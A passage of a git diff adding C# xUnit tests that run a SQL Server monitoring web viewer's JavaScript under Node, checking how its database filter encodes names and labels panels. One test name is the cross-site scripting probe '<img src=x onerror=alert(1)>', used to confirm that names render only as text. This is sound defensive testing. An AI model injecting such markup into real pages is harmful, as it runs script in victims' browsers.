+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEndAsync();
+            var json = JsonSerializer.Serialize(list.Select(t => t.Select(c => (int)c).ToArray()).ToArray());
+            proc.StandardInput.Write(json);
+            proc.StandardInput.Close();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the blank-rule harness did not finish in 60 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the blank-rule harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Result.Trim());
+            return doc.RootElement.Clone();
+        }
+    }
+
+    [Fact]
+    public void ThePageAndTheService_AgreeOnWhichTextIsBlank_ForEveryCodeUnitAndTheMixedStrings()
+    {
+        var list = SharedList();
+        var page = RunNode(list).GetProperty("blank").GetString()!;
+        Assert.Equal(list.Length, page.Length);
+
+        var disagreements = new StringBuilder();
+        for (var i = 0; i < list.Length; i++)
+        {
+            var service = string.IsNullOrWhiteSpace(list[i]);
+            Assert.Equal(service, DatabaseFilter.One(list[i]).IsAll);
+            Assert.Equal(service, DatabaseFilter.Of([list[i]]).IsAll);
+            if (service != (page[i] == '1'))
+            {
+                disagreements.Append(string.Join(" ", list[i].Take(4).Select(c => "U+" + ((int)c).ToString("X4")))).Append("; ");
+            }
+        }
+
+        Assert.True(disagreements.Length == 0, "the page and the service disagree on: " + disagreements);
+    }
+
+    [Fact]
+    public void TheNextLineAndByteOrderMarkCharacters_AreTheTwoJavaScriptTrimCountsDifferently()
+    {
+        /* Named so a failure reads without the full list: U+0085 is whitespace to .NET (blank), U+FEFF is not (a name). */
+        var list = new[] { "\u0085", "" };
+        var page = RunNode(list);
+        Assert.Equal("10", page.GetProperty("blank").GetString());
+        Assert.Equal("01", page.GetProperty("name").GetString());
+        Assert.True(string.IsNullOrWhiteSpace(list[0]));
+        Assert.False(string.IsNullOrWhiteSpace(list[1]));
+    }
+
+    [Fact]
+    public void ANameIsTextThatIsNotBlankAndNotOver128Characters_OnTheSharedList()
+    {
+        var list = SharedList();
+        var page = RunNode(list).GetProperty("name").GetString()!;
+        for (var i = 0; i < list.Length; i++)
+        {
+            var expected = !string.IsNullOrWhiteSpace(list[i]) && list[i].Length <= 128;
+            Assert.True(expected == (page[i] == '1'), "name rule differs for text #" + i);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs b/Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs
new file mode 100644
index 0000000000..bfe80d384b
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs
@@ -0,0 +1,266 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web viewer does with the database filter (#5244, #5245), from the shipped <c>util.js</c>,
+/// <c>database-filter-reads.js</c> and <c>pages/server-tabs.js</c> run under Node (<c>web-database-filter-harness.mjs</c>) against a
+/// recording fetch: which reads carry the chosen databases and how they are written on the wire, and what the scope chips say.
+/// The shipped FILTERED list is empty until the pages that wire a read to the filter land, so the scenarios that need a filtered
+/// read run on the real module with a few reads moved into it; the plain census runs the module as shipped. Node is skipped
+/// when it is not installed, the way <see cref="WebServerTrendsBehaviourTests"/> does; <see cref="WebDatabaseFilterReadsTests"/>
+/// holds the rosters without Node.
+/// </summary>
+public sealed class WebDatabaseFilterBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-database-filter-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the database-filter harness did not finish in 60 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the database-filter harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement node, string name) =>
+        node.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>The one request a case sent.</summary>
+    private static string One(JsonElement node, string name) => Assert.Single(Strings(node, name));
+
+    /// <summary>The six names a database can have that a careless list would mangle (#5245): a comma, a closing bracket, a leading
+    /// space, a quote, a percent with a plus, and markup. Each must reach the wire as ONE key holding exactly that name.</summary>
+    private static readonly string[] Awkward = { "A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>" };
+
+    /// <summary>An array is written as repeated keys, one encodeURIComponent per name, and as nothing for an empty array; the six
+    /// awkward names survive as six single keys. Before this an array was ONE comma-joined value, so "A,B" and the pair A and B
+    /// were the same query.</summary>
+    [Fact]
+    public void BuildQuery_WritesAnArrayAsRepeatedKeys_AndTheSixAwkwardNamesSurviveAsSixSingleKeys()
+    {
+        var r = Run("query");
+        Assert.Equal("?server=SRV1", r.GetProperty("empty").GetString());
+        Assert.Equal("?database_name=A%2CB", r.GetProperty("comma").GetString());
+        Assert.Equal("?server=SRV1&database_name=SalesDb&database_name=Orders&hours=4", r.GetProperty("pair").GetString());
+
+        var parts = Strings(r, "sixParts");
+        Assert.Equal(Awkward.Length, parts.Length);
+        Assert.Equal(Awkward, Strings(r, "sixDecoded"));
+        Assert.Equal(Awkward, Strings(r, "sixViaUrl"));
+        Assert.Equal(
+            new[] { "database_name=A%2CB", "database_name=x%5D", "database_name=%20SalesDb", "database_name=O'Brien", "database_name=50%25%2Boff", "database_name=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" },
+            parts);
+        Assert.DoesNotContain(parts, p => p.Contains(',', System.StringComparison.Ordinal));
+        Assert.Equal("?database_name=A%2CB&database_name=x%5D&database_name=%20SalesDb&database_name=O'Brien&database_name=50%25%2Boff&database_name=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E", r.GetProperty("six").GetString());
+
+        /* Nothing else about the builder changed: a scalar is skipped when null, undefined or empty, and kept otherwise (0 and false too). */
+        Assert.Equal("?a=x%20y&d=0&f=false", r.GetProperty("scalar").GetString());
+        Assert.Equal("", r.GetProperty("none").GetString());
+    }
+
+    /// <summary>readTool adds the chosen databases only to a FILTERED read of the active server on a server page, and an explicit
+    /// name wins. Identity, unfiltered and server-wide reads, another server's reads, any other page, an emptied filter and a filter
+    /// with no server are left alone, the caller's params are never changed, and the narrowed retry of a kept-history read and a
+    /// custom range both carry the keys too.</summary>
+    [Fact]
+    public void ReadTool_InjectsTheChosenDatabases_OnlyIntoFilteredReadsOfTheActiveServer_AndAnExplicitNameWins()
+    {
+        var r = Run("injection");
+        const string Read = "/api/read/get_top_queries_by_cpu?server=SRV1&hours=4";
+        const string Both = "&database_name=SalesDb&database_name=Orders";
+
+        Assert.Equal(Read + Both, One(r, "filtered"));
+        /* A param the panel left unset, or empty, names no database: the filter applies. */
+        Assert.Equal(Read + Both, One(r, "unsetName"));
+        Assert.Equal(Read + Both, One(r, "emptyName"));
+        /* An explicit name, or list, wins: the request carries exactly that and no chosen database. */
+        Assert.Equal(Read + "&database_name=Other", One(r, "explicit"));
+        Assert.Equal(Read + "&database_name=X&database_name=Y", One(r, "explicitArray"));
+
+        Assert.Equal("/api/read/get_top_queries_by_cpu?server=SRV2&hours=4", One(r, "otherServer"));
+        Assert.Equal("/api/read/get_top_queries_by_cpu?hours=4", One(r, "noServer"));
+        Assert.Equal("/api/read/get_deadlocks?server=SRV1&hours=4", One(r, "unfilteredRead"));
+        Assert.Equal("/api/read/get_cpu_utilization?server=SRV1&hours=4", One(r, "serverWideRead"));
+        Assert.Equal("/api/read/get_pg_top_queries?server=SRV1&hours=4", One(r, "pgRead"));
+
+        /* An identity read keeps its own single database_name, and is never given one. */
+        Assert.Equal("/api/read/get_query_trend?server=SRV1&query_hash=0x1&database_name=Sales", One(r, "identityRead"));
+        Assert.Equal("/api/read/get_query_trend?server=SRV1&query_hash=0x1", One(r, "identityNoName"));
+        Assert.Equal("/api/read/get_plan_xml?server=SRV1&query_hash=0x1&database_name=Sales", One(r, "planRead"));
+
+        Assert.Equal(new[] { "server", "hours" }, Strings(r, "callerParamsAfter"));
+        Assert.Equal(new[] { "SalesDb", "Orders" }, Strings(r, "filterNames"));
+
+        Assert.Equal(Read + "&as_of=2026-01-02T10%3A30%3A00.000Z" + Both, One(r, "withRange"));
+        Assert.Equal(new[] { "/api/read/get_top_queries_by_cpu?server=SRV1&hours=720" + Both, "/api/read/get_top_queries_by_cpu?server=SRV1&hours=168" + Both }, Strings(r, "keptHistory"));
+
+        foreach (var untouched in new[] { "offPage", "cleared", "emptied", "filterForOtherServer" })
+        {
+            Assert.Equal(Read, One(r, untouched));
+        }
+
+        Assert.Equal("/api/read/get_top_queries_by_cpu?hours=4", One(r, "noFilterServer"));
+    }
+
+    /// <summary>The chip says, per panel, whether the filter applies, and only while a filter is active on the server page:
+    /// the single name or "N databases" for a filtered read, "All databases" in the warning look for an unfiltered one (with the
+    /// deadlock sentence on a deadlock read), "Server-wide" muted, "Graphs: all; process rows: N databases" for the Deadlock
+    /// Graphs panel, and nothing for an identity read. A panel's own override wins. A name is only ever text.</summary>
+    [Fact]
+    public void DbScopeChip_ShowsFilteredUnfilteredServerWideAndProcessRows_AndNothingForIdentityOrAnEmptyFilter()
+    {
+        var r = Run("chips");
+        var one = r.GetProperty("one");
+        const string Unfiltered = "This panel's read cannot take the database filter, so it shows every database.";
+        const string DeadlockSentence = " The databases are inside each deadlock graph.";
+        const string ServerTitle = "This data has no database, so the filter does not apply.";
+        const string ProcessTitle = "Each graph is whole; process rows outside the chosen databases are hidden.";
+
+        void Chip(JsonElement chip, string state, string text, string title, string look)
+        {
+            Assert.Equal(state, chip.GetProperty("state").GetString());
+            Assert.Equal(text, chip.GetProperty("text").GetString());
+            Assert.Equal(title, chip.GetProperty("title").GetString());
+            Assert.Equal("badge db-scope db-scope-" + state + look, chip.GetProperty("className").GetString());
+            /* The label is text, never markup: the chip holds no child element. */
+            Assert.Equal(0, chip.GetProperty("childElements").GetInt32());
+        }
+
+        Chip(one.GetProperty("filtered"), "filtered", "SalesDb", "SalesDb", "");
+        Chip(one.GetProperty("unfiltered"), "unfiltered", "All databases", Unfiltered, " band-Warning");
+        Chip(one.GetProperty("deadlock"), "unfiltered", "All databases", Unfiltered + DeadlockSentence, " band-Warning");
+        Chip(one.GetProperty("server"), "server", "Server-wide", ServerTitle, " engine");
+        Chip(one.GetProperty("processRows"), "process-rows", "Graphs: all; process rows: 1 database", ProcessTitle, "");
+
+        /* An identity read, a read no class names and no read at all show no chip. */
+        foreach (var none in new[] { "identity", "plan", "unknown", "noRead" })
+        {
+            Assert.Equal(JsonValueKind.Null, one.GetProperty(none).ValueKind);
+        }
+
+        /* A panel's override wins over its read's class; an override the chip does not know is ignored. */
+        Chip(one.GetProperty("overrideServer"), "server", "Server-wide", ServerTitle, " engine");
+        Chip(one.GetProperty("overrideUnfiltered"), "unfiltered", "All databases", Unfiltered, " band-Warning");
+        Chip(one.GetProperty("overrideDeadlock"), "unfiltered", "All databases", Unfiltered + DeadlockSentence, " band-Warning");
+        Chip(one.GetProperty("unknownOverride"), "unfiltered", "All databases", Unfiltered + DeadlockSentence, " band-Warning");
+
+        /* Several databases: "N databases", with the names one per line in the title (a name may hold a comma). */
+        var three = r.GetProperty("three");
+        Chip(three.GetProperty("filtered"), "filtered", "3 databases", "SalesDb\nOrders\n<img src=x onerror=alert(1)>", "");
+        Chip(three.GetProperty("processRows"), "process-rows", "Graphs: all; process rows: 3 databases", ProcessTitle, "");
+
+        /* The six awkward names, and markup alone, are text: the label and every line of the title are the names as given. */
+        Chip(r.GetProperty("markup"), "filtered", "<img src=x onerror=alert(1)>", "<img src=x onerror=alert(1)>", "");
+        Chip(r.GetProperty("awkward"), "filtered", "6 databases", string.Join("\n", Awkward), "");
+
+        /* No filter, an emptied filter and any page but a server page show no chip, whatever the read or override. */
+        foreach (var name in new[] { "filtered", "unfiltered", "server", "processRows" })
+        {
+            Assert.Equal(JsonValueKind.Null, r.GetProperty("none").GetProperty(name).ValueKind);
+        }
+
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("emptied").ValueKind);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("offPage").ValueKind);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("viewsPage").ValueKind);
+
+        var state = r.GetProperty("state");
+        Assert.Equal("filtered", state.GetProperty("filtered").GetString());
+        Assert.Equal("unfiltered", state.GetProperty("unfiltered").GetString());
+        Assert.Equal("server", state.GetProperty("server").GetString());
+        Assert.Equal(JsonValueKind.Null, state.GetProperty("identity").ValueKind);
+        Assert.Equal("process-rows", state.GetProperty("processRows").GetString());
+    }
+
+    /// <summary>
+    /// The runtime census, on the module as shipped: every SQL Server tab is built against a stub fetch with a filter active, and
+    /// every <c>/api/read/&lt;tool&gt;</c> it records is in exactly one class. Every FILTERED request carries the chosen databases
+    /// (none are filtered yet, so this half has nothing to check until the first read is wired), and no other request carries
+    /// them. A read a tab adds without classifying it fails here by name, even when it is built from a name no source scan finds.
+    /// </summary>
+    [Fact]
+    public void TheRuntimeCensus_PutsEveryReadTheTabsMake_InExactlyOneClass_AndInjectsOnlyFilteredReads()
+    {
+        var r = Run("census");
+        Assert.True(r.GetProperty("tabs").GetInt32() >= 10, "the SQL Server tab registry is smaller than expected, so the census read too little");
+        Assert.True(Strings(r, "tools").Length > 40, "the tabs made too few distinct reads for the census to mean anything");
+        Assert.Empty(Strings(r, "unclassified"));
+        Assert.Empty(Strings(r, "inSeveralClasses"));
+        Assert.Empty(Strings(r, "filteredMissingKeys"));
+        Assert.Empty(Strings(r, "filteredPartialKeys"));
+        Assert.Empty(Strings(r, "strayKeys"));
+        Assert.Equal(r.GetProperty("filteredRequests").GetInt32(), r.GetProperty("filteredWithKeys").GetInt32() + Strings(r, "filteredExplicit").Length);
+    }
+
+    /// <summary>
+    /// The same census with every database-scoped read but the three deadlock reads moved into FILTERED, which is where the
+    /// plan ends: each of those reads the tabs make carries all the chosen databases, in order, and nothing else does. It shows the
+    /// injection reaches the real tab code (no panel reads around readTool) before any page wires a read, and it fails if a
+    /// filtered read is sent with fewer or no keys.
+    /// </summary>
+    [Fact]
+    public void TheRuntimeCensus_WithEveryDatabaseScopedReadFiltered_GivesEachOneAllTheKeys_AndNothingElseAny()
+    {
+        var r = Run("censusSeeded");
+        Assert.Empty(Strings(r, "unclassified"));
+        Assert.Empty(Strings(r, "inSeveralClasses"));
+
+        var filtered = Strings(r, "filteredReads");
+        Assert.True(filtered.Length >= 25, $"only {filtered.Length} filtered reads were made, so the census read too little: {string.Join(", ", filtered)}");
+        foreach (var expected in new[] { "get_top_queries_by_cpu", "get_active_queries", "get_blocking", "get_database_sizes", "get_query_store_top" })
+        {
+            Assert.Contains(expected, filtered);
+        }
+
+        Assert.DoesNotContain(filtered, read => read.StartsWith("get_deadlock", System.StringComparison.Ordinal) || read == "get_deadlocks");
+        Assert.True(r.GetProperty("filteredRequests").GetInt32() > 0);
+        Assert.Equal(r.GetProperty("filteredRequests").GetInt32(), r.GetProperty("filteredWithKeys").GetInt32() + Strings(r, "filteredExplicit").Length);
+        Assert.Empty(Strings(r, "filteredMissingKeys"));
+        Assert.Empty(Strings(r, "filteredPartialKeys"));
+        Assert.Empty(Strings(r, "strayKeys"));
+        var scopes = r.GetProperty("scopes");
+        Assert.Equal(3, scopes.GetProperty("UNFILTERED").GetInt32());
+        /* Six since #5300: the Query Store History panel's read is one query's own rows, keyed by its database and query_id. */
+        /* Nine since the Blocking and Deadlocks plan reads (#5236) and the repro script (#5233) joined the plan viewer: each names one stored row. */
+        Assert.Equal(9, scopes.GetProperty("IDENTITY").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs b/Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs
new file mode 100644
index 0000000000..ee474a6b02
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The database-scope chips on the web viewer's panels (#5244, #5245), from the shipped <c>panels.js</c>, <c>util.js</c> and
+/// <c>pages/server-tabs.js</c> run under Node (<c>web-database-filter-chips-harness.mjs</c>): every SQL Server tab is built with
+/// a filter active and the h3 of each panel is read back. A few reads are moved into FILTERED for the run, because the shipped
+/// list is empty until the pages that wire a read to the filter land. Node is skipped when it is not installed, the way
+/// <see cref="WebDatabaseFilterBehaviourTests"/> does.
+/// </summary>
+public sealed class WebDatabaseFilterChipsBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-database-filter-chips-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the database-filter chips harness did not finish in 60 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the database-filter chips harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    /// <summary>The six names a database can have that a careless chip would mangle (#5245): a comma, a closing bracket, a leading
+    /// space, a quote, a percent with a plus, and markup.</summary>
+    private static readonly string[] Awkward = { "A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>" };
+
+    private const string UnfilteredTitle = "This panel's read cannot take the database filter, so it shows every database.";
+    private const string ServerTitle = "This data has no database, so the filter does not apply.";
+
+    /// <summary>The one heading of that title on a tab.</summary>
+    private static JsonElement Heading(JsonElement r, string tab, string title) =>
+        r.GetProperty("tabs").GetProperty(tab).EnumerateArray().Single(h => h.GetProperty("title").GetString() == title);
+
+    private static void AssertChip(JsonElement heading, string state, string text, string? title = null)
+    {
+        Assert.Equal(1, heading.GetProperty("chips").GetInt32());
+        Assert.Equal(state, heading.GetProperty("state").GetString());
+        Assert.Equal(text, heading.GetProperty("text").GetString());
+        if (title != null) Assert.Equal(title, heading.GetProperty("chipTitle").GetString());
+    }
+
+    /// <summary>On a tab that mixes the states (Queries has filtered, unfiltered and server-wide panels; Blocking is nearly all
+    /// unfiltered with server-wide panels beside them), each panel states its own: a filtered read names the databases, a
+    /// database-scoped read that cannot take the filter says "All databases", and a read with no database says "Server-wide". The
+    /// fanout overrides win over the shared read's class, and every panel of every tab carries exactly one chip.</summary>
+    [Fact]
+    public void EveryPanelOnAMixedTab_StatesItsOwnDatabaseScope_AndTheFanoutOverridesWin()
+    {
+        var r = Run("mixed");
+
+        /* Queries: filtered (seeded), unfiltered, and server-wide, on one tab. */
+        AssertChip(Heading(r, "queries", "Top Queries by CPU"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "queries", "Active Queries"), "filtered", "2 databases");
+        /* #5245 PR1: all six top reads take the filter now, so the other two of them name the databases as well. */
+        AssertChip(Heading(r, "queries", "Query Store Regressions"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "queries", "Top Procedures by CPU"), "filtered", "2 databases", "SalesDb\nOrders");
+
+        /* The Query Store fanout: Clutter is database-scoped (#5244 PR4: its route takes the chosen databases); the overhead table and the memory clerk are instance-wide
+           and override the shared read's class. */
+        AssertChip(Heading(r, "queries", "Query Store Clutter"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "queries", "Query Store Overhead (per server)"), "server", "Server-wide", ServerTitle);
+        AssertChip(Heading(r, "queries", "Query Store Memory Clerk"), "server", "Server-wide", ServerTitle);
+
+        /* Blocking: the Waiting Tasks SERIES (get_current_waits_trend) is server-wide, the table of the same name is a
+           database-scoped read; Deadlock Severity is unfiltered, and Deadlock Graphs keeps every graph whole while its process rows follow the filter (#5244). */
+        var blocking = r.GetProperty("tabs").GetProperty("blocking").EnumerateArray().Where(h => h.GetProperty("title").GetString() == "Waiting Tasks").ToArray();
+        AssertChip(Assert.Single(blocking), "server", "Server-wide", ServerTitle);
+        AssertChip(Heading(r, "waits", "Waiting Tasks"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "blocking", "Blocked Sessions"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "blocking", "Blocking Severity"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "blocking", "Deadlock Severity"), "unfiltered", "All databases", UnfilteredTitle);
+        AssertChip(Heading(r, "blocking", "Deadlock Graphs"), "process-rows", "Graphs: all; process rows: 2 databases", "Each graph is whole; process rows outside the chosen databases are hidden.");
+        AssertChip(Heading(r, "blocking", "Lock Waits"), "server", "Server-wide");
+
+        /* A composite built by panelShell passes its main read. */
+        AssertChip(Heading(r, "waits", "Wait Stats"), "server", "Server-wide");
+        AssertChip(Heading(r, "io", "File I/O Latency"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "memory", "Memory Pressure Events"), "server", "Server-wide");
+        AssertChip(Heading(r, "overview", "Daily Summary"), "server", "Server-wide");
+        AssertChip(Heading(r, "config", "Database Scoped Configuration"), "filtered", "2 databases", "SalesDb\nOrders");
+        AssertChip(Heading(r, "recommendations", "Recommendations"), "server", "Server-wide");
+
+        /* No panel on any SQL Server tab is left without a chip, and none draws two. */
+        var headings = r.GetProperty("tabs").EnumerateObject().SelectMany(t => t.Value.EnumerateArray()).ToArray();
+        Assert.True(headings.Length > 90, "the tabs drew only " + headings.Length + " panels");
+        Assert.Empty(headings.Where(h => h.GetProperty("chips").GetInt32() != 1).Select(h => h.GetProperty("title").GetString()));
+    }
+
+    /// <summary>#5244 PR5: the File I/O Latency subtitle says what a line is. Exactly one chosen database draws one line per file
+    /// ("per file"); every database, an emptied filter, two or more databases, or a filter that belongs to another server draw one
+    /// line per database and file type.</summary>
+    [Fact]
+    public void TheFileIoSubtitle_SaysPerFileForExactlyOneChosenDatabase()
+    {
+        var r = Run("fileio");
+        Assert.Contains("per file,", r.GetProperty("one").GetString());
+        Assert.DoesNotContain("per database and file type", r.GetProperty("one").GetString());
+        foreach (var key in new[] { "two", "none", "emptied", "otherServer" })
+        {
+            Assert.Contains("per database and file type,", r.GetProperty(key).GetString());
+        }
+    }
+
+    /// <summary>With no filter, an emptied one, or off the server page, no panel draws a chip. A read that names a database as the
+    /// identity of a row (the query drill and the seven plan-viewer reads) never draws one either, and neither does a panel with no
+    /// read of its own.</summary>
+    [Fact]
+    public void NoChipDrawsWithoutAnActiveFilter_OrForAnIdentityRead()
+    {
+        var none = Run("none");
+        Assert.True(none.GetProperty("noFilterPanels").GetInt32() > 90);
+        Assert.Equal(0, none.GetProperty("noFilter").GetInt32());
+        Assert.Equal(0, none.GetProperty("emptied").GetInt32());
+        Assert.Equal(0, Assert.Single(none.GetProperty("offPage").EnumerateArray()).GetProperty("chips").GetInt32());
+
+        var r = Run("renderPanel");
+        AssertChip(r.GetProperty("filtered"), "filtered", "SalesDb", "SalesDb");
+        AssertChip(r.GetProperty("unfiltered"), "unfiltered", "All databases", UnfilteredTitle + " The databases are inside each deadlock graph.");
+        AssertChip(r.GetProperty("server"), "server", "Server-wide", ServerTitle);
+        Assert.Equal(0, r.GetProperty("identity").GetProperty("chips").GetInt32());
+        Assert.Equal(0, r.GetProperty("plan").GetProperty("chips").GetInt32());
+        Assert.Equal(0, r.GetProperty("noRead").GetProperty("chips").GetInt32());
+
+        /* An override wins over the read's class, in renderPanel too. */
+        AssertChip(r.GetProperty("overrideServer"), "server", "Server-wide");
+        AssertChip(r.GetProperty("overrideUnfiltered"), "unfiltered", "All databases");
+        AssertChip(r.GetProperty("overrideProcessRows"), "process-rows", "Graphs: all; process rows: 1 database",
+            "Each graph is whole; process rows outside the chosen databases are hidden.");
+    }
+
+    /// <summary>A chip title lists the chosen names, one per line, and a name only ever reaches the page as text: the six awkward
+    /// names each stand alone as the chip's label and title, never as markup (no element is created for the markup name), and
+    /// the six together are "6 databases" with all six on their own lines.</summary>
+    [Fact]
+    public void AChipTitleListsTheNames_AndTheSixAwkwardNamesAreOnlyEverText()
+    {
+        var r = Run("awkward");
+        var names = r.GetProperty("names").EnumerateArray().ToArray();
+        Assert.Equal(Awkward.Length, names.Length);
+        for (var i = 0; i < Awkward.Length; i++)
+        {
+            Assert.Equal(Awkward[i], names[i].GetProperty("name").GetString());
+            Assert.Equal("filtered", names[i].GetProperty("state").GetString());
+            Assert.Equal(Awkward[i], names[i].GetProperty("text").GetString());
+            Assert.Equal(Awkward[i], names[i].GetProperty("chipTitle").GetString());
+            Assert.Equal(0, names[i].GetProperty("chipChildren").GetInt32());
+            Assert.Equal(0, names[i].GetProperty("imgs").GetInt32());
+        }
+
+        var all = r.GetProperty("all");
+        Assert.Equal("filtered", all.GetProperty("state").GetString());
+        Assert.Equal("6 databases", all.GetProperty("text").GetString());
+        Assert.Equal(string.Join("\n", Awkward), all.GetProperty("chipTitle").GetString());
+        Assert.Equal(Awkward, all.GetProperty("lines").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(0, all.GetProperty("imgs").GetInt32());
+    }
+
+    private static string[] Texts(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>The configuration, scoped-configuration and Query Store health panels (#5244): a database filter that matches nothing
+    /// on a server that has a snapshot answers rows-free but not snapshot-free, so the panels say the chosen databases have no row
+    /// instead of "no snapshot yet". A server with no snapshot, and a page with no filter, keep their own text.</summary>
+    [Fact]
+    public void ASnapshotPanelWhoseFilterMatchesNothing_DoesNotSayThereIsNoSnapshot()
+    {
+        const string filteredText = "No database in the chosen databases has a row in this snapshot.";
+        string[] snapshotTexts = { "No database configuration snapshot yet.", "No database-scoped configuration snapshot yet.", "No Query Store health rows yet." };
+        var r = Run("emptyText");
+
+        var filtered = Texts(r, "filtered");
+        Assert.Equal(3, filtered.Count(t => t == filteredText));
+        foreach (var text in snapshotTexts) Assert.DoesNotContain(text, filtered);
+        Assert.Equal(filteredText, Assert.Single(Texts(r, "filteredTemplate")));
+
+        /* No snapshot at all: the read's own envelope message, not the filtered sentence. */
+        var noSnapshot = Texts(r, "filteredNoSnapshot");
+        Assert.DoesNotContain(filteredText, noSnapshot);
+        Assert.Contains("Nothing collected for this server yet.", noSnapshot);
+
+        /* No filter: the panels' own text. */
+        var unfiltered = Texts(r, "unfiltered");
+        Assert.DoesNotContain(filteredText, unfiltered);
+        foreach (var text in snapshotTexts) Assert.Contains(text, unfiltered);
+        Assert.Equal("No database configuration snapshot yet.", Assert.Single(Texts(r, "unfilteredTemplate")));
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs b/Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs
new file mode 100644
index 0000000000..1c9018e8de
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR1, the last lane: the six reads the server page's database filter drives, called the way the
+/// page calls them, through the web read dispatch (<c>DarlingWebEndpoints.BuildReadDispatch</c>) with REPEATED
